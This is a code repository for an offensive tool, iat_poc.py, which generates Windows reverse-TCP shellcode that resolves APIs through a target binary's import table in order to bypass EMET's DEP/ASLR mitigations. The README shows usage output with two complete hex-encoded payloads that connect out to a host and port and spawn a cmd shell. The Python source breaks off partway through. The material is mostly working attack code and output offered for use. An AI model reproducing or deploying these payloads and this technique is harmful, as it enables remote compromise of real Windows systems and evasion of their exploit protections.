├── README.md ├── iat_poc.py └── parser_output ├── win10 └── output.json ├── win7 └── output.json ├── win8 └── output.json ├── winVista └── output.json └── winXP └── output.json /README.md: -------------------------------------------------------------------------------- 1 | # IAT_POC 2 | 3 | Find a suitable IAT based payload, that bypasses post DEP/ASLR protections in EMET. 4 | 5 | 6 | ### Dependencies 7 | ``` 8 | python2.7 9 | pefile 10 | ``` 11 | 12 | # Warning 13 | *There is no exit function, you'll get a cmd shell back, but there will be a crash. This was done by design - write your own exit function.* 14 | 15 | ### Examples: 16 | 17 | ``` 18 | $ ./iat_poc.py 19 | IAT parser reverse tcp payload generator 20 | ಠ_ಠ 21 | Usage: ./iat_poc.py PE_BINARY HOST PORT Operating_System_(winXP, winVista, win7, win8, win10) Force_EMET_HASH_(True/False) Force_Loaded_module_(True/False) 22 | 23 | $./iat_poc.py handle.exe 127.0.0.1 8080 win10 True False 24 | [*] Loading PE in pefile 25 | [*] Parsing data directories 26 | [*] Found API getprocaddress 27 | [*] GetProcAddress API was found! 28 | [*] DLLs in the import table: set(['COMDLG32.dll', 'VERSION.dll', 'GDI32.dll', 'KERNEL32.dll', 'ADVAPI32.dll', 'USER32.dll']) 29 | [*] Using GPA IAT parsing stub 30 | [*] Payload length: 489 31 | "\xfc\x31\xd2\x64\x8b\x52\x30\x8b\x52\x08\x8b\xda\x03\x52\x3c\x8b\xba\x80\x00\x00\x00\x03\xfb\x8b\x57\x0c\x03\xd3\x81\x3a\x4b\x45\x52\x4e\x74\x05\x83\xc7\x14\xeb\xee\x57\xeb\x3e\x8b\x57\x10\x03\xd3\x8b\x37\x03\xf3\x8b\xca\x81\xc1\x00\x00\xff\x00\x33\xed\x8b\x06\x03\xc3\x83\xc0\x02\x3b\xc8\x72\x18\x3b\xc2\x72\x14\x3e\x8b\x7c\x24\x04\x39\x38\x75\x0b\x3e\x8b\x7c\x24\x08\x39\x78\x08\x75\x01\xc3\x83\xc5\x04\x83\xc6\x04\xeb\xd5\x68\x64\x64\x72\x65\x68\x47\x65\x74\x50\xe8\xb3\xff\xff\xff\x03\xd5\x5d\x5d\x8b\xca\x89\xcd\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a\x8b\x5a\x10\x8b\x12\x75\xdb\x6a\x00\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xe9\xff\x11\x50\x89\xe3\x87\xcd\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x87\xf1\xff\x13\x68\x75\x70\x00\x00\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x97\xff\x16\x95\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\xff\xd5\x68\x74\x41\x00\x00\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x57\xff\x16\x95\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x95\x68\x65\x63\x74\x00\x68\x63\x6f\x6e\x6e\x54\x57\xff\x16\x87\xcd\x95\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x1f\x90\x89\xe2\x6a\x10\x52\x51\x87\xf9\xff\xd5\x85\xc0\x74\x00\x6a\x00\x68\x65\x6c\x33\x32\x68\x6b\x65\x72\x6e\x54\xff\x13\x68\x73\x41\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x50\xff\x16\x95\x93\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x87\xfe\x92\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x87\xda\xff\xd5\x89\xe6\x6a\x00\x68\x65\x6c\x33\x32\x68\x6b\x65\x72\x6e\x54\xff\x13\x68\x65\x63\x74\x00\x68\x65\x4f\x62\x6a\x68\x69\x6e\x67\x6c\x68\x46\x6f\x72\x53\x68\x57\x61\x69\x74\x54\x50\x95\xff\x17\x95\x89\xf2\x31\xf6\x4e\x90\x46\x89\xd4\xff\x32\x96\xff\xd5\x81\xc4\x34\x02\x00\x00" 32 | Writing payload to shellcode_output.bin 33 | 34 | $ ./iat_poc.py handle.exe 127.0.0.1 8080 win10 True True 35 | [*] Loading PE in pefile 36 | [*] Parsing data directories 37 | [*] Found API getprocaddress 38 | [*] GetProcAddress API was found! 39 | [*] DLLs in the import table: set(['COMDLG32.dll', 'VERSION.dll', 'GDI32.dll', 'KERNEL32.dll', 'ADVAPI32.dll', 'USER32.dll']) 40 | [*] Checking win10 compatibility 41 | [*] Number of lookups to do: 52270 42 | [*] Checking for its imported DLLs: COMDLG32.dll 43 | [*] COMDLG32.dll adds the following not already loaded dll: msvcrt.dll 44 | [*] COMDLG32.dll adds the following not already loaded dll: ntdll.dll 45 | [*] COMDLG32.dll adds the following not already loaded dll: SHLWAPI.dll 46 | [*] COMDLG32.dll adds the following not already loaded dll: COMCTL32.dll 47 | [*] COMDLG32.dll adds the following not already loaded dll: SHELL32.dll 48 | [*] COMDLG32.dll adds the following not already loaded dll: FirewallAPI.dll 49 | [*] COMDLG32.dll adds the following not already loaded dll: NETAPI32.dll 50 | [*] Checking for its imported DLLs: emet.dll 51 | [*] Checking for its imported DLLs: VERSION.dll 52 | [*] VERSION.dll adds the following not already loaded dll: KERNELBASE.dll 53 | [*] Checking for its imported DLLs: GDI32.dll 54 | [*] Checking for its imported DLLs: KERNEL32.dll 55 | [*] Checking for its imported DLLs: ADVAPI32.dll 56 | [*] ADVAPI32.dll adds the following not already loaded dll: SECHOST.dll 57 | [*] ADVAPI32.dll adds the following not already loaded dll: RPCRT4.dll 58 | [*] Checking for its imported DLLs: USER32.dll 59 | [*] Checking for its imported DLLs: COMDLG32.dll 60 | [*] Checking for its imported DLLs: KERNEL32.dll 61 | [*] Checking for its imported DLLs: msvcrt.dll 62 | [*] Checking for its imported DLLs: NETAPI32.dll 63 | [*] Checking for its imported DLLs: ntdll.dll 64 | [*] Checking for its imported DLLs: SHELL32.dll 65 | [*] Checking for its imported DLLs: RPCRT4.dll 66 | [*] RPCRT4.dll adds the following not already loaded dll: SspiCli.dll 67 | [*] Checking for its imported DLLs: COMCTL32.dll 68 | [*] Checking for its imported DLLs: FirewallAPI.dll 69 | [*] Checking for its imported DLLs: emet.dll 70 | [*] Checking for its imported DLLs: KERNELBASE.dll 71 | [*] Checking for its imported DLLs: VERSION.dll 72 | [*] Checking for its imported DLLs: GDI32.dll 73 | [*] Checking for its imported DLLs: ADVAPI32.dll 74 | [*] Checking for its imported DLLs: SHLWAPI.dll 75 | [*] Checking for its imported DLLs: SECHOST.dll 76 | [*] Checking for its imported DLLs: USER32.dll 77 | [*] Parsing imported dlls complete 78 | [*] Possible useful loaded modules: set(['COMDLG32.dll', 'KERNEL32.dll', u'msvcrt.dll', u'NETAPI32.dll', u'RPCRT4.dll', u'SHELL32.dll', u'ntdll.dll', u'COMCTL32.dll', u'FirewallAPI.dll', 'emet.dll', u'KERNELBASE.dll', 'VERSION.dll', 'GDI32.dll', u'SspiCli.dll', 'ADVAPI32.dll', u'SHLWAPI.dll', u'SECHOST.dll', 'USER32.dll']) 79 | [*] Looking for loadliba/getprocaddr or just getprocaddr in COMDLG32.dll 80 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\comdlg32.dll 81 | [*] Looking for loadliba/getprocaddr or just getprocaddr in KERNEL32.dll 82 | [*] Looking for loadliba/getprocaddr or just getprocaddr in msvcrt.dll 83 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\msvcrt.dll 84 | [*] Looking for loadliba/getprocaddr or just getprocaddr in NETAPI32.dll 85 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\netapi32.dll 86 | [*] Looking for loadliba/getprocaddr or just getprocaddr in RPCRT4.dll 87 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\rpcrt4.dll 88 | [*] Looking for loadliba/getprocaddr or just getprocaddr in SHELL32.dll 89 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\shell32.dll 90 | [*] Looking for loadliba/getprocaddr or just getprocaddr in ntdll.dll 91 | [*] Looking for loadliba/getprocaddr or just getprocaddr in COMCTL32.dll 92 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\comctl32.dll 93 | [*] Looking for loadliba/getprocaddr or just getprocaddr in FirewallAPI.dll 94 | [*] Looking for loadliba/getprocaddr or just getprocaddr in emet.dll 95 | -- GetProcAddress will work with this imported DLL: c:\\Program Files (x86)\EMET 5.5\EMET.dll 96 | -- This imported DLL will work for LLA/GPA: c:\\Program Files (x86)\EMET 5.5\EMET.dll 97 | [*] Looking for loadliba/getprocaddr or just getprocaddr in KERNELBASE.dll 98 | [*] Looking for loadliba/getprocaddr or just getprocaddr in VERSION.dll 99 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\version.dll 100 | [*] Looking for loadliba/getprocaddr or just getprocaddr in GDI32.dll 101 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\gdi32.dll 102 | [*] Looking for loadliba/getprocaddr or just getprocaddr in SspiCli.dll 103 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\sspicli.dll 104 | [*] Looking for loadliba/getprocaddr or just getprocaddr in ADVAPI32.dll 105 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\advapi32.dll 106 | -- This imported DLL will work for LLA/GPA: c:\\Windows\System32\advapi32.dll 107 | [*] Looking for loadliba/getprocaddr or just getprocaddr in SHLWAPI.dll 108 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\shlwapi.dll 109 | -- This imported DLL will work for LLA/GPA: c:\\Windows\System32\shlwapi.dll 110 | [*] Looking for loadliba/getprocaddr or just getprocaddr in SECHOST.dll 111 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\sechost.dll 112 | [*] Looking for loadliba/getprocaddr or just getprocaddr in USER32.dll 113 | -- GetProcAddress will work with this imported DLL: c:\\Windows\System32\user32.dll 114 | [*] LLA/GPA binaries available: {u'advapi32.dll': 3347727348, u'shlwapi.dll': 3944223590, u'emet.dll': 3949030565} 115 | [*] GPA binaries available: {u'comdlg32.dll': 1188016652, u'sspicli.dll': 689806071, u'emet.dll': 3949030565, u'version.dll': 3942686535, u'gdi32.dll': 1619852574, u'advapi32.dll': 3347727348, u'msvcrt.dll': 1948800968, u'netapi32.dll': 3375022068, u'shell32.dll': 1013581072, u'rpcrt4.dll': 2764485184, u'shlwapi.dll': 3944223590, u'sechost.dll': 2896986352, u'user32.dll': 2217227836, u'comctl32.dll': 1229959685} 116 | ******************************************************************************** 117 | [*] Setting imported IAT GPA payload 118 | [!] Using GPA DLL and hash comdlg32.dll 0x46cfb20c 119 | [*] HASH 0x46cfb20c 120 | [*] Payload length: 543 121 | "\x90\xfc\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x0c\xb2\xcf\x46\x8b\x5a\x10\x8b\x12\x75\xdb\x90\x90\x90\x89\xda\x03\x52\x3c\x8b\xba\x80\x00\x00\x00\x01\xdf\x90\x90\x8b\x57\x0c\x01\xda\x81\x3a\x4b\x45\x52\x4e\x81\x7a\x04\x45\x4c\x33\x32\x74\x05\x83\xc7\x14\xeb\xe5\x57\xeb\x3d\x90\x90\x8b\x57\x10\x01\xda\x8b\x37\x01\xde\x89\xd1\x81\xc1\x00\x00\xff\x00\x31\xed\x90\x90\x8b\x06\x01\xd8\x83\xc0\x02\x39\xc1\x72\x13\x8b\x7c\x24\x04\x39\x38\x75\x0b\x3e\x8b\x7c\x24\x08\x39\x78\x08\x75\x01\xc3\x83\xc5\x04\x83\xc6\x04\xeb\xd8\x90\x90\x68\x64\x64\x72\x65\x68\x47\x65\x74\x50\xe8\xb3\xff\xff\xff\x03\xd5\x5d\x5d\x8b\xca\x89\xcd\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a\x8b\x5a\x10\x8b\x12\x75\xdb\x6a\x00\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xe9\xff\x11\x50\x89\xe3\x87\xcd\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x87\xf1\xff\x13\x68\x75\x70\x00\x00\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x97\xff\x16\x95\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\xff\xd5\x68\x74\x41\x00\x00\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x57\xff\x16\x95\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x95\x68\x65\x63\x74\x00\x68\x63\x6f\x6e\x6e\x54\x57\xff\x16\x87\xcd\x95\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x1f\x90\x89\xe2\x6a\x10\x52\x51\x87\xf9\xff\xd5\x85\xc0\x74\x00\x6a\x00\x68\x65\x6c\x33\x32\x68\x6b\x65\x72\x6e\x54\xff\x13\x68\x73\x41\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x50\xff\x16\x95\x93\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x87\xfe\x92\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x87\xda\xff\xd5\x89\xe6\x6a\x00\x68\x65\x6c\x33\x32\x68\x6b\x65\x72\x6e\x54\xff\x13\x68\x65\x63\x74\x00\x68\x65\x4f\x62\x6a\x68\x69\x6e\x67\x6c\x68\x46\x6f\x72\x53\x68\x57\x61\x69\x74\x54\x50\x95\xff\x17\x95\x89\xf2\x31\xf6\x4e\x90\x46\x89\xd4\xff\x32\x96\xff\xd5\x81\xc4\x34\x02\x00\x00" 122 | Writing payload to shellcode_output.bin 123 | ``` 124 | -------------------------------------------------------------------------------- /iat_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Created By Josh Pitts 3 | # Edits By Casey Smith 4 | # This modification Locates ADVAPI32, then LoadLibA, GetProcAddress from there. ;) 5 | import struct 6 | import sys 7 | import pefile 8 | import ntpath 9 | import json 10 | 11 | 12 | lla_hash_set = {} 13 | gpa_hash_set = {} 14 | lla_gpa_found = False 15 | gpa_found = False 16 | 17 | ############################### 18 | #Modified from Stephen Fewer's hash.py 19 | ############################### 20 | 21 | def ror(dword, bits): 22 | return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF 23 | 24 | def unicode(string, uppercase=True): 25 | result = "" 26 | if uppercase: 27 | string = string.upper() 28 | for c in string: 29 | result += c + "\x00" 30 | return result 31 | 32 | def hash(module, bits=13, print_hash=True): 33 | module_hash = 0 34 | if len(module) < 12: 35 | module += "\x00" * (12 - len(module)) 36 | if len(module) > 12: 37 | module += module[:12] 38 | for c in unicode(module): 39 | #print '\t', c.encode('hex') 40 | module_hash = ror(module_hash, bits) 41 | module_hash += ord(c) 42 | return module_hash 43 | 44 | ############################### 45 | ############################### 46 | 47 | def find_apis(dll_set, os_system): 48 | locations = ['winXP', 'win7', 'win8', 'winVista', 'win10'] 49 | ignore_dlls = ['api-ms-win', ] 50 | #ignore_dlls = [] 51 | #goodtogo = {} 52 | loaded_modules = set() 53 | #dll_set.add('emet.dll') 54 | temp_set = dll_set 55 | if os_system.lower() == 'all': 56 | look_here = locations 57 | else: 58 | look_here = [os_system] 59 | 60 | for location in look_here: 61 | dll_set = temp_set 62 | #goodtogo[location] = {} 63 | 64 | print "[*] Checking %s compatibility" % location 65 | _location = './parser_output/' + location + '/output.json' 66 | #_included = './parser_output/' + location + '/included.json' 67 | all_dlls_dict = json.loads(open(_location, 'r').read()) 68 | #included_dict = json.loads(open(_included, 'r').read()) 69 | print "[*] Number of lookups to do:", len(all_dlls_dict) 70 | 71 | # get all loaded modules 72 | def recursive_parse(dll_set): 73 | # FML 74 | # list the dll that is imported by what dll 75 | # if it isn't already in the set print dll, imported name 76 | temp_lm = set() 77 | for dll in dll_set: 78 | print " [*] Checking for its imported DLLs:", dll 79 | for key, value in all_dlls_dict.iteritems(): 80 | if dll.lower() == ntpath.basename(key.lower()): 81 | for lm in value['dlls']: 82 | found = True 83 | for ig_dll in ignore_dlls: 84 | if ig_dll.lower().encode('utf-8') in lm.lower().encode('utf-8'): 85 | #print ig_dll.lower(), lm.lower() 86 | found = False 87 | if found is True and lm not in temp_lm and lm not in dll_set: 88 | print '\t[*]', dll, 'adds the following not already loaded dll:', lm 89 | 90 | temp_lm.add(lm) 91 | 92 | return temp_lm 93 | 94 | temp_dict = {} 95 | while True: 96 | length = len(dll_set) 97 | temp_dict = recursive_parse(dll_set) 98 | dll_set = dll_set.union(temp_dict) 99 | if len(temp_dict) <= length: 100 | print "[*] Parsing imported dlls complete" 101 | break 102 | 103 | """for dll in dll_set: 104 | for key, value in all_dlls_dict.iteritems(): 105 | if dll.lower() == ntpath.basename(key.lower()): 106 | for lm in value['dlls']: 107 | for ig_dll in ignore_dlls: 108 | if ig_dll.lower().encode('utf-8') in lm.lower().encode('utf-8'): 109 | #print ig_dll.lower(), lm.lower() 110 | continue 111 | else: 112 | #print 'adding', lm 113 | loaded_modules.add(lm) 114 | 115 | 116 | print "check2:", loaded_modules 117 | """ 118 | 119 | print "[*] Possible useful loaded modules:", dll_set 120 | dllfound = False 121 | getprocaddress_dll = False 122 | blacklist = ['kernel32.dll', 'firewallapi.dll'] 123 | for dll in dll_set: 124 | print '[*] Looking for loadliba/getprocaddr or just getprocaddr in %s' % dll 125 | 126 | dllfound = False 127 | getprocaddress_dll = False 128 | 129 | for key, value in all_dlls_dict.iteritems(): 130 | #print dll.lower(), ntpath.basename(key.lower()) 131 | if ntpath.basename(key.lower()) in blacklist: 132 | continue 133 | if dll.lower() == ntpath.basename(key.lower()): 134 | if value['getprocaddress'] is True: 135 | #print "yes!" 136 | if 'system32' in key.lower(): 137 | getprocaddress_dll = True 138 | 139 | elif 'program files' in key.lower(): 140 | getprocaddress_dll = True 141 | 142 | if getprocaddress_dll is True: 143 | print "\t-- GetProcAddress will work with this imported DLL:", key 144 | gpa_hash_set[ntpath.basename(key.lower())] = hash(ntpath.basename(key.lower())) 145 | getprocaddress_dll = False 146 | 147 | if value['loadlibrarya'] is True and value['getprocaddress'] is True: 148 | 149 | if 'system32' in key.lower(): 150 | dllfound = True 151 | break 152 | #elif 'windows' in key.lower(): 153 | # dllfound = True 154 | # break 155 | elif 'program files' in key.lower(): 156 | dllfound = True 157 | break 158 | #else: 159 | # dllfound = True 160 | 161 | if dllfound is True: 162 | #goodtogo[location][key] = value 163 | print "\t-- This imported DLL will work for LLA/GPA:", key 164 | lla_hash_set[ntpath.basename(key.lower())] = hash(ntpath.basename(key.lower())) 165 | #print key, value 166 | 167 | print "[*] LLA/GPA binaries available:", lla_hash_set 168 | print "[*] GPA binaries available:", gpa_hash_set 169 | print "*" * 80 170 | return lla_hash_set, gpa_hash_set 171 | 172 | 173 | def check_apis(aFile, os_system): 174 | #################################### 175 | #### Parse imports via pefile ###### 176 | 177 | #make this option only if a IAT based shellcode is selected 178 | print "[*] Loading PE in pefile" 179 | pe = pefile.PE(aFile, fast_load=True) 180 | print "[*] Parsing data directories" 181 | pe.parse_data_directories() 182 | apis = {} 183 | apis['neededAPIs'] = set() 184 | dlls = set() 185 | lla_gpa_found = False 186 | gpa_found = False 187 | 188 | try: 189 | for api in ['LoadLibraryA', 'GetProcAddress']: 190 | apiFound = False 191 | for entry in pe.DIRECTORY_ENTRY_IMPORT: 192 | dlls.add(entry.dll) 193 | for imp in entry.imports: 194 | if imp.name is None: 195 | continue 196 | if imp.name.lower() == api.lower(): 197 | print "[*] Found API", api.lower() 198 | apiFound = True 199 | 200 | if apiFound is False: 201 | apis['neededAPIs'].add(api) 202 | 203 | except Exception as e: 204 | print "Exception:", str(e) 205 | 206 | if apis['neededAPIs'] == set(): 207 | print '[*] Both LLA/GPA APIs found!' 208 | lla_gpa_found = True 209 | gpa_found = True 210 | 211 | elif 'LoadLibraryA' in apis['neededAPIs']: 212 | print '[*] GetProcAddress API was found!' 213 | gpa_found = True 214 | 215 | return dlls, lla_gpa_found, gpa_found 216 | 217 | def pack_ip_addresses(HOST): 218 | hostocts = [] 219 | for i, octet in enumerate(HOST.split('.')): 220 | hostocts.append(int(octet)) 221 | hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], 222 | hostocts[2], hostocts[3]) 223 | return hostip 224 | 225 | 226 | def decision_tree(HOST, PORT, dlls, lla_gpa_found, gpa_found, os_system, FORCE_EMET, USE_LOADED_MODULE): 227 | 228 | if FORCE_EMET.lower() == "true" and USE_LOADED_MODULE.lower() == 'false': 229 | print "Forcing EMET.dll hash for use in IAT Loaded Module parser" 230 | # pass the EMET.dll hash to the function 231 | #shellcode = locate_hash1 + struct.pack("